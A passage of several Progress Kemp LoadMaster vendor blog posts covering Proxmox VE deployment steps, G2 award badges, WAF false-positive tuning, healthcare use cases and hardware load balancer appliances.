Notes: In the “General" tab, the “Default Storage” means the target storage. However, the “Importing Working Storage” means the storage that will be used to process the image for importing it. There is a requirement that File-type Storage must be used for the “Importing Working Storage.”

In this scenario, in addition to changing the target storage and the working storage in the General Tab, we have also modified the VM ID, Name and Default Bridge (network).

Next, under “Advanced”, change the SCSI controller to “virtIO SCSI single” as this works better. We may also include the VLAN tag relevant to each interface, but here, we have changed the Network driver to “VirtIO (paravirtualized)”.

5. Clicking the “Import” button after reviewing the settings will create the VM.

Note: After VM creation, additional modifications can be made via the VM control panel. For example, here, Proxmox uses NVMe storage. To improve the device’s IO performance, we enabled “Discard,” “SSD emulation,” and “IO thread.”

6. The LoadMaster solution can be started and configured via the LoadMaster WUI.

LoadMaster Deployment Using the LoadMaster KVM Image

The LoadMaster image for KVM deployments uses a .disk extension, which is not natively supported by Proxmox. However, if the file is placed in a directory within the hypervisor’s storage, it may be possible to convert it to another format using utilities available in Proxmox. As the specific command could not be identified, an alternative method involved using the QEMU disk image utility for Windows, which is available here. This tool supports converting, creating and checking various virtual disk formats, and is compatible with Hyper-V, KVM, VMware, VirtualBox and Xen virtualization platforms.

Converting the .disk to qcow2

The qemu-img for Windows does not require installation and once extracted, it can be used from the same directory. However, it is important to mention that it does not work when using the PowerShell shell, but it works if the commands are entered in the old CMD shell. The commands used for the conversion are as follows:

qemu-img.exe convert source.img -O qcow2 dest.qcow2

Real example:

qemu-img.exe convert “C:\LM_Images\GA - 7.2.62.0\LoadMasterVLM-7.2.62.0.22915.RELEASE-Linux-KVM-XEN.disk” -O qcow2
"C:\LM_Images\GA - 7.2.62.0\LM-7.2.62.0.qcow2"

Creating the VM for the LoadMaster Load Balancer

The qcow2 image is only the disk that holds the data of the VM, and the deployment differs from an OVF/OVA deployment, which also contains details of how the machine should be deployed. So, in this case, the VM must first be created and then the qcow2 disk attached to it.

Here are the detailed steps of how the VM should be created via the Proxmox WUI:

1. Click Create VM

2. Configure the “General” tab. In this step, the Proxmox node must be chosen, the VM ID must be entered (must be unique), note that Proxmox will default to the next available VM ID. VM name must be entered as well.

3. Configure the “OS” tab. Same as screenshot.

4. Configure the “System” tab. The defaults are suitable for the LoadMaster solution. Note: as the LoadMaster load balancer doesn’t not have the Qemu Agent installed in it, the check box must be left unticked.

5. Configure the “Disk” tab.

The VM creation wizard will create one disk (see screenshot).

However, the disk must be removed as we are going to attach the converted qcow2 disk image instead.

6. Configure the “CPU” tab. Proxmox offers various CPU types, with the default recommended option being sufficient for most needs. Core count is also adjustable.

7. Configure the “Memory” tab. Can be adjusted as required.

8. Configure the “Network” tab. When creating a VM in Proxmox, only one vNIC can be created, but after that, many others can be added. The important setting here is the “Model,” VirtIO (paravirtualized) is recommended, at least as per the current Proxmox version. The Bridge must be chosen per the requirement, and a VLAN tag can be added if needed.

9. Review the “Confirm” tab and click Finish.

Importing qcow2 disk image to Proxmox

Once the VM has been created, the qcow2 disk must be imported to Proxmox. This can be achieved with any Linux file transfer utility or Windows file transfer software. In this case, we used the WinSCP software. Below are the steps taken.

1. Navigate to the correct storage path. During this step, we use the default Local storage and the path is /var/lib/vz/images. It is important to highlight that qcow2 disk images can only be used with the File Storage Type.

2. Create a directory with the same name as the VM ID assigned above. In this case, the VM ID assigned was 601.

3. Import the qcow2 disk to the directory created above.

4. From the command line or SSH, change the permission to the directory to 740. Example: chmod 740 601 or chmod g-wx 601;chmod o-rwx 601. From the same bash terminal, the command qm rescan must be performed. The following output must be observed.

5. Return to the Proxmox WUI and navigate to the “Hardware” tab of the VM. The disk can now be seen, but it is still unused. Select the unused disk and click Edit.

6. Click “Add” to initialize the disk. The default configuration should work but any other configuration is possible at this stage. Here, we enabled “Discard”, “IO thread”, and “SSD emulation”. The options “Discard” and “IO thread” provide the OS information on its capability and it is up to the OS whether to use it or not.

7. Navigate to “Options → Boot Order” and click Edit.

8. Enable the disk and change its position.

9. The LoadMaster VM is ready to be started and initially configured.

Summary

Proxmox VE is a versatile platform for managing virtualized IT infrastructures, supporting full virtualization with KVM and container virtualization. Integrating the LoadMaster solution with Proxmox allows users to achieve seamless virtualization management with reliable and scalable load balancing.

This guide explains multiple methods to deploy the LoadMaster solution on Proxmox VE, highlighting storage considerations and detailed deployment steps for different LoadMaster image formats. By following this guide, you’ll have your LoadMaster solution configured and ready to go.

Learn more about LoadMaster-supported applications here

Real-world reviews and positive testimonials carry a lot of weight. G2 compiles them from the testimonies of IT professionals working to bring top-notch application experiences to their colleagues, customers and clients.

The System Admins have spoken, and thanks to their honest reviews, the LoadMaster load balancing solution has garnered multiple award badges in the Summer 2025 release of the G2 Grid® Reports for Load Balancing.

G2 Delivers Software Insights Gleaned from Real-World Experiences

G2 is one of the world’s most influential business technology and software review platforms. It is a trusted site where IT professionals who use technology solutions can leave honest reviews and ratings. At the time of writing in June 2025, G2 has just topped 3 million reviews from real people who use business software tools and solutions.

Every quarter, G2 analyzes product and vendor review scores and combines them with data collected from online sources and social networks to calculate customer satisfaction and market presence scores. Then, they plot the results on charts to compare how different products and vendors rank in various market sectors.

G2 Grid® Report for Load Balancing | Summer 2025 Results

The Summer 2025 G2 Grid® Reports for Load Balancing charts and explanatory notes are now available. You can access the reports and charts via the G2 site (free account creation required).

Multiple Summer 2025 G2 Grid® Reports for Load Balancing are available, covering different market segments, geographical regions and four other deployment criteria. They are:

• Grid® Report for Load Balancing

• Enterprise Grid® Report for Load Balancing

• Mid-Market Grid® Report for Load Balancing

• Momentum Grid® Report for Load Balancing

• Asia Pacific Regional Grid® Report for Load Balancing

• EMEA Regional Grid® Report for Load Balancing

• Europe Regional Grid® Report for Load Balancing

• India Regional Grid® Report for Load Balancing

• Other deployment criteria (Implementation Index, Relationship Index, Results Index, Usability Index)

Links to these separate Grid® Reports are at the bottom of the G2 Load Balancing Software Resources page, and we also link to them directly in the sections below. Previous G2 Grid® Reports for Load Balancing are also available from the Resources page.

LoadMaster Summer 2025 Grid® Reports for Load Balancing Award Badges

The LoadMaster solution earned 16 award badges across the G2 Summer 2025 Grid® Reports for Load Balancing. An increase of two award badges over the 14 secured in the Winter 2025 G2 Grid® Reports.

Grid® Report for Load Balancing

The Grid® Report for Load Balancing is the overall grid for all load balancing solutions that have received the requisite number of reviews—the threshold is ten reviews or ratings. As of June 2025, LoadMaster has 193 reviews and a 4.7 out of 5.0 rating. In this primary category, G2 awarded LoadMaster a Leader badge.

Figure 1: The G2 Leader Badge awarded to LoadMaster in the Summer 2025 Grid® Reports for Load Balancing

Enterprise Grid® Report for Load Balancing

The Enterprise Grid® Report for Load Balancing is a subset of the overall report grid. Based on user reviews, the load-balancing solutions included in this section of the Grid Reports are suitable for deployment in Enterprise settings. The Summer 2025 Grid® Reports include eleven load-balancing solutions in the Enterprise grid. The LoadMaster load balancer is in the leader group within these eleven solutions and was awarded four badges in total in the Enterprise category (shown below).

Figure 2: The four G2 Summer 2025 Enterprise Grid® Report for Load Balancing badges awarded to LoadMaster

Mid-Market Grid® Report for Load Balancing

The Mid-Market Grid® Report for Load Balancing is a subset of the overall vendor offerings. It includes load-balancing solutions that the data shows are suitable for deployment in Small and Medium Enterprise (SME) settings. Most businesses fall into the SME category and solutions that scale from SME to Enterprise are especially valuable. The LoadMaster load balancer is ranked highly in both sections of the Grid® Reports. The Summer 2025 Grid® Report has eleven load-balancing solutions in the Mid-Market grid. The LoadMaster load balancer is in the leader group within these eleven solutions and was awarded two badges for this category (shown below).

Figure 3: The two G2 Summer 2025 Mid-Market Grid® Report for Load Balancing badges awarded to LoadMaster

Other Badges Awarded to LoadMaster in the Summer 2025 Grid® Reports for Load Balancing

In addition to the seven badges highlighted above, LoadMaster was also awarded four additional badges in other categories. These additional awards show that LoadMaster is a leading solution across multiple load-balancing use cases.

Figure 4: Four additional G2 Summer 2025 Grid® Report for Load Balancing badges awarded to LoadMaster in specific categories

Regional Badges Awarded to LoadMaster in the Summer 2025 Grid® Reports for Load Balancing

G2 awarded five more badges to the LoadMaster solution in regionally focused categories. Two are for the Asia and Asia-Pacific region, two are for EMEA and Europe, and one is for India. They award these badges using only end-user reviews from IT professionals in the regions mentioned. To be included in the Asia grid and receive Asia-focused badges, a product must have been reviewed at least 10 times by users in the APAC region. The LoadMaster solution received the two Asia-focused badges shown in Figure 5.

Figure 5: Five regionally focused G2 Summer 2025 Grid® Report for Load Balancing badges awarded to LoadMaster based on reviews from IT professionals in each region

Try LoadMaster for Yourself

The G2 Grid® Report for Load Balancing | Summer 2025 reviews and badges show that the LoadMaster load balancing solution stands out as an industry favorite load balancing solution for Enterprise and Mid-Market businesses.

It’s also ideal for small businesses and departments within larger organizations that need a load balancer for development, DevSecOps or even production deployments. Please have a look at ourFree Load Balancer option for small or non-commercial use cases.

All versions of LoadMaster fully align with modern deployment needs, provide comprehensive functionality and have flexible licensing, including industry-leading subscription options, enabling LoadMaster with a lower cost of ownership than other vendors’ offerings. When coupled with our industry-leading support, you will soon understand why G2 ratings for LoadMaster are consistently excellent.

Download a free 30-day trial version today (free registration required) orrequest a live demo from our expert team. We look forward to the day when your experience with LoadMaster means you add a review to theG2 LoadMaster page. Adding your voice to those informing your industry peers that LoadMaster is a good choice for their organizations.

Introduction

It’s more important than ever to defend websites and web applications from attacks. Each month brings fresh headlines of organizations suffering cyberattacks ranging from the embarrassing to the catastrophic. In April 2025, an attack against British retailer Marks & Spencer resulted in an estimated $400 million in lost revenue.

What’s the most efficient way to manage risks from these persistent threats?

The best defensive approach for websites and web apps is to use multiple, independent layers of defense. This can be pictured like the layers of an onion, with the secured application sitting at the centre. If an attack bypasses a layer of defense, then additional defensive layers are still actively providing security.

Adding a WAF: The Good and the Bad

The Benefits

A web application firewall (WAF) is one important example of a layer of defense. A WAF monitors the flow of web traffic, detects traffic that looks malicious and proactively blocks it. This helps prevent public-facing websites and apps from being low-hanging fruit for attackers. Any web service on the public internet should implement a WAF. Many security standards (such as PCI DSS) and organizations have robust security policies that mandate the defense of a WAF.

The Drawbacks

If the security benefits of deploying a WAF are so great, what’s the catch?

Adding the security rules and checks that a WAF provides can cause false positives: errors that interfere with the normal operation of the web service sitting behind the WAF. These errors have the potential to bring misery to both users and the engineers tasked with an endless game of Whack-A-Mole to fix them.

This blog post is the first in a series exploring WAF features. It discusses the problem of false positives when using a WAF and explores how to easily mitigate false positives using the enhanced WAF features in Progress LoadMaster 360. The topics covered include:

• What is a false positive?
• Why are false positives a problem?
• How can we fix false positives, and how do LoadMaster 360 enhanced tools help?

What Is a False Positive?

When using a WAF, like the one built into Progress Kemp LoadMaster, the basic flow of operation is the same. For each HTTP web request received from a user, a series of rules are executed on each request. These “WAF rules” are each designed to detect a different malicious or anomalous behavior.

Examples of WAF rules include:

• Is the request missing its host header? (A standard part of a web request)
• Is the request trying to access a suspicious file type? (E.g. .bat, .conf, .ini)
• Does the request contain SQL commands? (Possible injection attack)

A legitimate HTTP request should pass through the WAF’s set of detection rules and be considered benign. The WAF should accept the legitimate request and allow it to continue its journey to the application server, like so:

What happens when a legitimate request causes a WAF detection rule to match? This is considered an error and is referred to as a false positive. The mistaken rule causes the legitimate request to be treated as potentially malicious, and the WAF could deny the request:

Why Are False Positives a Problem?

Poor User Experience

The most immediate problem caused by false positives is a poor user experience. Imagine pressing the “Submit Order” button on a webstore only to be greeted with a “403 Access Denied” error and a dead end. The result is an infuriating annoyance. When false positives lead to blocked requests, they stand in the way of genuine users doing what they need to do.

Upset users might complain, creating the knock-on effect of pressure from stakeholders to disable or even remove the WAF to fix the underlying problem. Such a step would be a significant sacrifice of security in the interest of usability.

Alert Fatigue

If a WAF generates many false positives, then the real attacks are easily lost in the noise. Crucial security intelligence can be lost this way. Moreover, operations and security teams will naturally pay less attention to the alerts from a WAF if it has a reputation for constantly raising false alarms: this, again, leads to real attacks being overlooked.

Compliance (Sensitive Information)

The cause of a false positive is often user-submitted data, for example, usernames, passwords, shipping addresses, etc. When a WAF rule matches in error against such user input, the offending data is written to the WAF’s log file, which means an offending password, address or other information is logged in plain text. This can violate data protection regulations like GDPR, CCPA, PCI DSS and others, so false positives must be remedied to help prevent this.

An example of personal information causing a false positive and being logged:

How Can We Fix False Positives?

‘Turn Down the Volume’: Can We Ignore False Positives?

To be as simple and as frictionless as possible, some commercial WAF vendors approach the problem of false positives by mostly ignoring them. This typically takes the form of underreporting (hiding rule matches unless they cause a full blocking event) and setting the WAF to a low sensitivity level (requiring a request to trigger many rules before blocking it).

This type of approach can create a “set it and forget it” style WAF solution, which is quiet and causes minimal fuss. While this may sound ideal, the main problem is that the low sensitivity makes the WAF much easier to evade and likely doesn’t provide the level of security expected. With lower sensitivity, an attack must now be more extreme for it to stand out and be detected. Also, hiding false positives makes them difficult (if not impossible) to properly investigate and resolve.

Tune Out the Noise: Fully Resolving False Positives

The best and most secure approach is to “tune away” false positives when they’re encountered. When a detection rule matches in error and a false positive occurs, then this should be investigated.

For example, is the offending rule that’s causing a false positive irrelevant to the web application being defended (e.g., a PHP injection rule, but PHP isn’t in use anywhere)? If so, the rule can be disabled, and the noise, or false positives, it causes will immediately disappear.

Is the offending rule only causing problems for a specific part of the web application, but it’s working fine everywhere else? The rule can be tuned by disabling it for the problem-causing location—e.g., /webstore/quote-form—and the false positives will disappear.

Is a specific piece of user input regularly causing false positives with certain rules? For example, a free text box where users can write and submit a delivery note. The false positives can be tuned away by excluding the free text box from the rules that cause problems (or even excluding it from all detection rules if it causes significant issues across the board).

By working methodically and tuning away the noisy false positives, what remains are the attacks that become plain to see and easy to block on a well-tuned WAF.

Fixing False Positives: The Traditional Approach

The process of tuning WAF rules to resolve false positives involves reviewing log files, finding the false positives and resolving them. A typical strategy is to start by solving the most egregious false positives first: find them, resolve them fully and then repeat the process.

In an ideal world, this initial tuning process would occur in an isolated test environment to remove the possibility of mistaking a real attack for a false positive. Time and resources often don’t allow for this, however, and working with real traffic from day zero is often unavoidable.

Identifying a genuine false positive requires a level of experience. Some useful markers include:

• The rule being triggered (does it cause false positives often or rarely?)
• The source IP address (is it an expected address? Where is it located?)
• The resource being accessed (does it look like a legitimate location or is it bogus?)
• The time of day (a business application accessed during office hours versus at 4 a.m.)

Once identified, the false positive is resolved by writing either a new directive or a new rule to tune the offending rule by adjusting its behavior. This is ideally done conservatively to allow the blocked legitimate traffic to pass, without opening a hole in the WAF that could allow attacks to start passing through undetected.

Turbo-Charged False Positive Tooling in LoadMaster 360

The LoadMaster 360 platform features a bespoke suite of enhanced WAF reporting and tooling. This is specifically designed to make the process of identifying and resolving WAF false positives faster and easier.

Time-Saving Smart Filters

To aid at the beginning of the false positive tuning process, the WAF log data is pre-filtered through a series of smart filters to automate as much of the heavy lifting as possible. The vast majority of WAF events are filtered away, leaving only the most likely false positive candidates for the attention of a human operator.

Consider this example:

The idea of manually reviewing and making judgment calls on 1584 WAF events seems impossible. But, after applying LoadMaster 360 smart filters, just 13 possible false positives were highlighted for human review. 13 is a more manageable starting point than 1,584 (or even the full 83,000+).

Automatic Rule Tuner

LoadMaster 360 WAF simplifies tuning by automatically generating the correct instructions when a false positive is found. This automation removes the need for technical knowledge, making WAF configuration accessible to non-experts.

The automatic rule tuner contains a range of options and functionality. It deserves further exploration. Some onboarding knowledge is required to use it effectively. Common questions that arise include:

• How is the rule tuner used?
• What are the best and most secure options to use?
• When is it appropriate to use one “rule exclusion type” over another, and what do they mean?

A follow-up series of blog posts will explore the rule tuner in detail, how to use it and its various options, and will walk through a series of examples from start to finish.

Get Started with LoadMaster WAF and LoadMaster 360 Today

Is your load balancer handling public web traffic? If so, you may want to explore LoadMaster WAF capabilities to strengthen your web application security posture.

Do you already have a LoadMaster Enterprise Plus subscription? If so, you already have full access to LoadMaster WAF capabilities.

Are you using LoadMaster 360, and have you tried its enhanced WAF features? If not, this is the perfect time to get started. Follow along with the WAF tutorials in the rest of this series and start getting to grips with LoadMaster 360 WAF-enhanced functionality. Gaining the security benefits of a well-tuned WAF solution is within reach!

Every aspect of a healthcare provider’s digital infrastructure requires reliability and speed, from electronic health records (EHR) to Picture Archiving and Communication Systems (PACS) to telemedicine platforms. That’s where the Progress Kemp LoadMaster solution comes in.

Load balancing, a core element of modern IT infrastructure, is essential for managing the traffic to and from multiple healthcare applications, optimizing resource utilization and providing redundancy in case of failures.

The versatile LoadMaster load balancing solution has gained recognition in the healthcare sector due to its robust capabilities in managing both performance and security. But what makes the LoadMaster solution particularly well-suited for healthcare workloads?

Let’s explore the key reasons.

High Availability for Critical Healthcare Applications

Healthcare organizations rely heavily on a range of applications — whether it’s a patient’s EHR system, lab results or appointment scheduling — these systems must be up and running at all times.

Downtime is not just an inconvenience; it can lead to delays in patient care, miscommunication and even risk patient safety.

LoadMaster load balancers provide high availability by distributing traffic across multiple servers, which allows for automatic failover in case one server or system goes down. In the event of a hardware failure or traffic spikes, the LoadMaster load balancer intelligently re-routes traffic to other available servers, minimizing downtime and helping maintain continuous access to critical resources.

Scalable Solution for Growing Healthcare Environments

The healthcare industry rapidly adopts new technologies, from telemedicine platforms to AI-driven diagnostics. This influx of new systems and users creates a need for scalable infrastructure. The Kemp LoadMaster solution provides scalability to accommodate increasing traffic, whether due to seasonal surges, a new hospital wing opening, or the launch of a new service offering.

With the elastic scaling capabilities of the LoadMaster solution, organizations can flexibly add more servers or virtual machines as demand grows, maintaining the application performance even as the user load increases. Whether managing in-house data centers or hybrid cloud environments, it can scale to meet the demands of the modern healthcare landscape.

Enhanced Security to Help Protect Sensitive Healthcare Data

The healthcare sector is one of the most regulated industries in the world, with strict laws like Health Insurance Portability and Accountability Act (HIPAA) governing the protection of patient data. Keeping sensitive health information secure while being accessed by authorized users is a top priority for healthcare organizations.

https://youtu.be/KxusScHQHB0?si=0WRw71H7CdxVqhcw

The LoadMaster solution enhances security by offering features like SSL offloading and Web Application Firewall (WAF). By offloading SSL/TLS encryption from backend servers, the LoadMaster load balancer reduces server load, allowing them to focus on processing requests while maintaining secure data transmission. The WAF provides an additional layer of defense against common web application attacks, such as SQL injection attacks and cross-site scripting (XSS), which are potential threats to the integrity and security of healthcare applications.

Performance Optimization for Patient-Centric Applications

Whether it’s a doctor viewing records or a patient booking an appointment, slow load times cause frustration and delays. User experience is directly tied to the performance and responsiveness of an application. This is especially critical for time-sensitive healthcare services.

The LoadMaster solution optimizes application performance by intelligently distributing traffic to the least-busy server, which reduces the likelihood of any single server becoming overwhelmed. It also integrates with Global Server Load Balancing (GSLB) to direct users to the closest data center, reducing latency for applications that need real-time processing.

By making applications faster and more reliable, the LoadMaster solution helps improve the overall patient experience, reduces wait times and enables quicker decision-making by healthcare professionals.

Seamless Integration with Existing Healthcare IT Infrastructure

In many healthcare environments, legacy systems coexist alongside newer, cloud-native applications. The LoadMaster solution is designed to integrate smoothly with both traditional on-premises infrastructures and modern cloud environments. This flexibility is crucial as healthcare providers often cannot afford to overhaul their entire IT infrastructure when adopting new technologies.

Whether you are deploying the LoadMaster solution in a multi-cloud environment or for an on-premises deployment, it offers the flexibility to meet diverse needs without disrupting existing operations.

Cost-Effective Solution

Budget constraints are an ongoing challenge for healthcare organizations and maintaining that every technology investment delivers a strong ROI is essential. The LoadMaster solution offers a cost-effective load balancer that can be deployed on a wide range of platforms, whether physical hardware or virtual infrastructure.

The LoadMaster pricing structure is transparent, and the appliance offers a wide array of advanced features that often come at a premium with other load balancing vendors. This makes it an excellent choice for healthcare organizations that need enterprise-grade, but cost-effective, performance and security without breaking the bank.

Conclusion

As healthcare organizations continue to digitize and embrace new technologies, they must prioritize the reliability, scalability, security and performance of their IT systems. The Progress Kemp LoadMaster solution stands out as a proven solution that meets these demands, making it an invaluable tool for managing healthcare workloads.

Whether you are trying to deliver high availability for your EHR or PACS system, improve the performance of patient-facing portals, or secure sensitive data in compliance with regulatory standards, Progress provides a reliable, scalable and cost-effective load balancing solution.

With high availability, security, scalability and performance optimization, the Progress Kemp LoadMaster solution helps healthcare providers focus on what matters most—delivering high-quality care to their patients, with the peace of mind that their IT systems are running smoothly and securely. Learn more about the use of load balancers in healthcare and what templates and additional resources we offer.

Find Out More

For more information about the LoadMaster solution, contact our sales team or visit our website for case studies and technical resources. If you’re using a different hardware load balancer, try a virtual LoadMaster load balancer to see how it can improve your infrastructure and reduce ongoing costs. Click the Free Trial button on the LoadMaster website to start your journey to a better load-balancing experience for your web servers and applications. Then, when you’ve experienced LoadMaster capabilities, please chat with our team about which hardware appliance would be best for your needs.

Load balancers are integral to delivering the uptime, performance, and adaptability that businesses need. While acknowledging the movement towards virtualization, the cloud, and microservices over the last decade, it’s beneficial for anyone designing and deploying application delivery infrastructure to know that hardware-based load balancers are still available and the right choice for many deployments.

Progress remains a global leader in load-balancing across all deployment models, including dedicated hardware. With over 100,000 deployments worldwide across all deployment types, a 4.9/5 rating on Gartner Peer Insights and 4.7/5 on the G2 business technology and software review platform.

These high ratings that are consistent over time show that the Progress Kemp LoadMaster load balancing solution is an industry leader for application delivery that provides reliability, market-leading support, innovations and another pillar in the cybersecurity strategy of organizations that adopt and deploy the solution.

Progress Kemp LoadMaster load balancing solutions’ consistently high ratings make it an industry leader in application delivery. Reviews point out the solution’s reliability, user-focused support, innovations and role as another pillar in an organization’s cybersecurity strategy.

This is true for the hardware versions of LoadMaster as well. Indeed, for some TLS/SSL-related encryption functionality, selected models of LoadMaster appliances include dedicated hardware to accelerate TLS/SSL operations.

What is LoadMaster Load Balancing Hardware?

Kemp LoadMaster hardware load balancers are dedicated rack-mountable, purpose-built server-grade appliances that provide an advanced, high-performance load balancing and application delivery solution with TLS/SSL offload, content switching, URL rewriting and compression in a secure and highly available platform that is easily deployed and managed.

We have designed and built our LoadMaster appliances to optimize the routing and delivery of incoming and outgoing network traffic more efficiently. They are ideal for scenarios where it’s critical to have fast session routing. Each LoadMaster appliance supports thousands of connections and provides gigabit throughput for high-performance access.

As the hardware devices use the same LoadMaster code base that is common across all versions of the platform, they have the same feature set as the software versions and deliver a consistent application delivery experience across changing network conditions, server loads or planned and unplanned application server downtime. They provide advanced Layer 4 and Layer 7 load balancing, robust network security tools including a Web Application Firewall (WAF) and SSL offloading.

Key Features of Kemp LoadMaster Load Balancers

As mentioned previously, the hardware appliance versions of Kemp LoadMaster use the same core LoadMaster operating system and have the same in-depth feature set as the rest of the LoadMaster product family. You can download a data sheet for the hardware LoadMaster family from our Resources page. Here is a direct link to the 250 KB PDF. You can see the current hardware appliance family on this dedicated landing page.

Here is a summary of the key features of the hardware appliance family.

Advanced Application Delivery Capabilities - All Kemp LoadMaster versions deliver sophisticated application delivery via content switching, URL rewriting, and intelligent traffic routing using a broad selection of algorithms.

High Availability – LoadMaster load balancers help deliver high availability for applications and web services via active-passive clustering and server health checking of application and web servers in real-time. The LoadMaster solution detects application and web server downtime or performance issues and automatically routes access requests to other servers.

Global Server Load Balancing (GSLB) - Enterprise Plus licenses enable the core GSLB functionality in the LoadMaster software (no additional installation is required). Global Server Load Balancing provides multi-data center and multi-cloud resilience by routing traffic across geographically distributed server locations. When deployed across multiple data centers, GSLB provides application load balancing at a geographic scale, across town or the globe, using any mix of hardware, virtual and cloud platforms.

Security Features – The LoadMaster solution includes multiple features that enhance an organization’s security posture. We detail this topic in the freely downloadable white paper titled Why You Should Perform Security Functions at the Load Balancing Level. Here is a summary of the security features available with the hardware appliance versions of LoadMaster (Enterprise or Enterprise Plus support agreement required to enable some features):

• TLS/SSL Offloading - Encryption of traffic moving over any network is vital. However, encrypting or decrypting network packets can significantly increase the load on application and web servers. LoadMaster load balancers sitting in front of these servers can take over the task of TLS/SSL processing (known as offloading) and free up the computing resources of the application and web servers for delivering applications and content. LoadMaster hardware appliance has an additional advantage over the virtual and cloud versions. All models of the appliance from the LoadMaster X25-NG and upwards LoadMaster hardware load balancers include integrated hardware acceleration to handle TLS/SSL tasks.
• Strong Authentication - LoadMaster includes advanced authentication support, including integration with Active Directory, RADIUS, SAML and multi-factor authentication solutions. LoadMaster also supports Role Based Access Control (RBAC) to provide administrators and end users with appropriate access levels, reducing the likelihood of accidental or malicious damage by people with elevated permissions they don’t need. The strong authentication support extends to API access. LoadMaster secures APIs by inspecting traffic, validating inputs and blocking unauthorized access. Read more on the LoadMaster 360 site.
• Web Application Firewall (WAF) - LoadMaster solution includes a WAF built on the industry-respected ModSecurity WAF. It delivers protection against common and emerging threats, including those in the OWASP Top 10. The WAF has a rules subscription service (requires an Enterprise Plus support contract), which means new application vulnerabilities get addressed quickly. All LoadMaster licenses include the WAF; only the subscription for rule updates requires an Enterprise Plus support agreement. You can create all the rules you want manually.
• Edge Security Pack (ESP) - Edge Security Pack (ESP) delivers a solution to organizations that have previously deployed Microsoft Threat Management Gateway to secure their Microsoft applications. ESP includes pre-authentication, single sign-on (SSO), LDAP/RADIUS integration and two-factor authentication.
• Zero Trust Security Model Support - LoadMaster load balancers can help network teams implement the zero-trust security model. It helps minimize the risk of unauthorized access by providing ways to validate user and device identities. Read more on our Zero Trust Access Gateway Architecture page.
• Consistent User Interface - LoadMaster hardware features a consistent and intuitive UI, PowerShell-based CLI, and full RESTful API support that is the same as those available in the virtual and cloud versions. This means that admin staff can use their knowledge across all types of LoadMaster deployments.

Key Benefits of Kemp LoadMaster Load Balancers

Kemp LoadMaster hardware (and software versions) provides proven application delivery and cybersecurity features tailored to myriad deployment requirements. The LoadMaster’s integration with existing applications and security solutions means organizations have the tools to deliver and safeguard their applications.

By combining in-depth security and performance optimization, LoadMaster delivers a solution that meets and exceeds the demands of organizations of all sizes using the following methods:

• Improved Application Performance - Deploying LoadMaster load balancers to manage access to backend application servers delivers better utilization of those servers and a better experience for users.
• Maximize Uptime and Scheduled Maintenance - Delivering high availability and failover, including across large geographic regions using GSLB. Provide seamless server maintenance windows during regular working hours by selectively taking backend servers offline for updates and maintenance without any service disruption.
• Enhanced Security Posture - Integrating authentication services, an industry-leading WAF, and TLS/SSL offloading helps security teams and systems admins boost their organizations’ security without adding multiple separate devices and solutions.
• Reduce TCO by boosting Efficiency - Maximizing the use of backend servers by intelligently spreading the load across them means that infrastructure use is optimized and reduces capacity. Metrics on traffic and application usage also help with planning and scalability decisions before there is a bottleneck or lack of capacity to meet demand.
• Operational Simplicity - As mentioned previously, each LoadMaster deployment across the appliances, virtual machines, and the cloud uses the same software and management interfaces. System admins only need to learn one load balancer interface and operation, even across hybrid deployments using appliances or virtual machines on-premises or multiple public cloud providers.

Use Cases

The 100,000-plus deployments and the Gartner Peer Insights and G2 reviews paint a compelling story of how many organizations have successfully deployed LoadMaster for on-premises, hybrid and cloud application projects. Here are some of the industry sectors where these success stories have happened. You can read many specific examples in the Case Studies section of the LoadMaster Resources page.

Enterprise Web Applications - Load balancing web applications to deliver resilience and performance is probably the first thing most IT professionals consider when they think about load balancing. LoadMaster is a proven leader in this field, serving organizations of all sizes, from SMEs to global enterprises. For example, the LoadMmaster canto handle its huge and seasonal web store traffic. Remember that all versions of LoadMaster run the same software, so anything that’s true for an Azure Cloud deployment is also true for on-premises hardware LoadMaster appliances.

Financial Services - Financial services is another significant sector where LoadMaster enables organizations to deliver resilient services and make them continually available to customers. Accessing and verifying financial information for transactions is the very definition of a mission-critical service. Plus, the added levels of security that LoadMaster provides help protect sensitive financial information. A leading Caribbean-based financial business deployed LoadMaster to deliver its application delivery needs.

Healthcare Delivery - Making sure that healthcare systems are always available and secure is another obvious example of where deploying LoadMaster is beneficial. A local healthcare authority (L’Azienda Sanitaria Locale) in Italy deployed hardware LoadMaster appliances to create a resilient and disaster-proof health delivery network—a critical project due to frequent earthquake activity in the region.

Selected LoadMaster Appliance Case Studies

Here are two LoadMaster hardware appliance case studies taken from the examples on the case studies site:

• The Harris County District Attorney’s Office - They required an intelligent load balancing solution with GSLB functionality to provide high availability for mission-critical applications and multi-resiliency across production and disaster recovery sites to protect against any event that resulted in a critical resource failure. Discover why they chose to deploy LoadMaster appliance solution.
• Sageworks Deploys LoadMaster - The Abrigo financial information company, Sageworks, replaced their F5 Big-IP load balancers with LoadMaster after experiencing issues with support, responsiveness and the complex UI. They deployed a pair of hardware LoadMaster load balancers in their on-premises data center in an active/passive cluster (plus virtual instances in DEV/TEST), providing continuous uptime and increased responsiveness for the nearly 4 million requests handled every day. Learn more about their rationale for the change.

How the Kemp LoadMaster Solution Compares to Competitors

As this article mentions, LoadMaster rates favorably with industry experts and users. We’ve already linked to the Gartner Peer Insights and G2 business technology and software review platform. The high ratings found there build on a solid foundation of technical expertise, trust and world-leading support.

When it comes to appliances that deliver load balancing, we believe that LoadMaster is a better option than other hardware load balancing options. We have a dedicated Compare Hardware Load Balancers: Kemp LoadMaster, F5 Big-IP & Citrix Netscaler page, where we have collected relevant information to allow potential LoadMaster customers to make a comparison. Rather than repeat that information, we’ll link to the page so anyone interested can read it at their leisure: https://kemptechnologies.com/campaigns/compare-kemp-f5-big-ip-citrix-netscaler-hardware-load-balancers.

Conclusion

Deploying a robust load-balancing infrastructure is a strategic investment in your organization’s application delivery experience and future business success. Each organization is different, and its load-balancing requirements will be unique. In many instances, deploying on-premises hardware is required even in the increasingly cloud-first world. The LoadMaster hardware appliances fill any requirements, from small workgroup-level appliances to SME-designed hardware to enterprise-level devices.

LoadMaster has built a track record over decades of projects and 100,000-plus deployments. These stats mean you can have confidence that a deployment similar to your requirements has happened before. Our consultancy and support teams will be able to help with your deployment and ongoing use of hardware LoadMaster devices and hybrid deployments using any of the available deployment options.

Find Out More

For more information about the Progress LoadMaster solution, contact our sales team or visit our website for case studies and technical resources. If you’re using a different hardware load balancer, try a virtual LoadMaster load balancer to see how it can improve your infrastructure and reduce ongoing costs. Click the Free Trial button on the LoadMaster website to start your journey to a better load-balancing experience for your web servers and applications. Then, when you have seen how LoadMaster is better, please chat with our team about which hardware appliance would be best for your needs.

